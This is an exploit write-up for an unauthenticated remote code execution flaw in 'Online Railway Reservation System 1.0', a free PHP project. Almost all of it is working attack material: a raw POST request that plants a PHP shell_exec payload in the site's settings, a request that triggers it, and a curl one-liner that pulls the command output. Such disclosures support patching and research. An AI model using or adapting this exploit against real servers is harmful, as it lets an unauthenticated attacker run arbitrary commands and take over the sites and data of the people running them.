Online Railway Reservation System 1.0 Remote Code Execution

`#Exploit Title: Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated)  
#Date: 07/01/2022  
#Exploit Author: Zachary Asher  
#Vendor Homepage: https://www.sourcecodester.com/php/15121/online-railway-reservation-system-phpoop-project-free-source-code.html  
#Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/orrs.zip  
#Version: 1.0  
#Tested on: Online Railway Reservation System 1.0  
  
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Command Execution  
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POST /orrs/classes/SystemSettings.php?f=update_settings HTTP/1.1  
Host: localhost  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Requested-With: XMLHttpRequest  
Content-Type: multipart/form-data; boundary=---------------------------41914587873111789572282654447  
Content-Length: 164  
  
-----------------------------41914587873111789572282654447  
Content-Disposition: form-data; name="content[welcome]"  
<?php echo shell_exec('id -a'); ?>  
  
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View Output  
=====================================================================================================================================  
GET /orrs/ HTTP/1.1  
Host: localhost  
Content-Length: 2  
  
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View Only STDOUT  
=====================================================================================================================================  
curl -i -s -k -X $'GET' \  
-H $'Host: localhost' -H $'Content-Length: 2' \  
--data-binary $'\x0d\x0a' \  
$'http://localhost/orrs/'| sed -n '/\"welcome-content\"/,/<\/div/p' | grep -v '<'  
`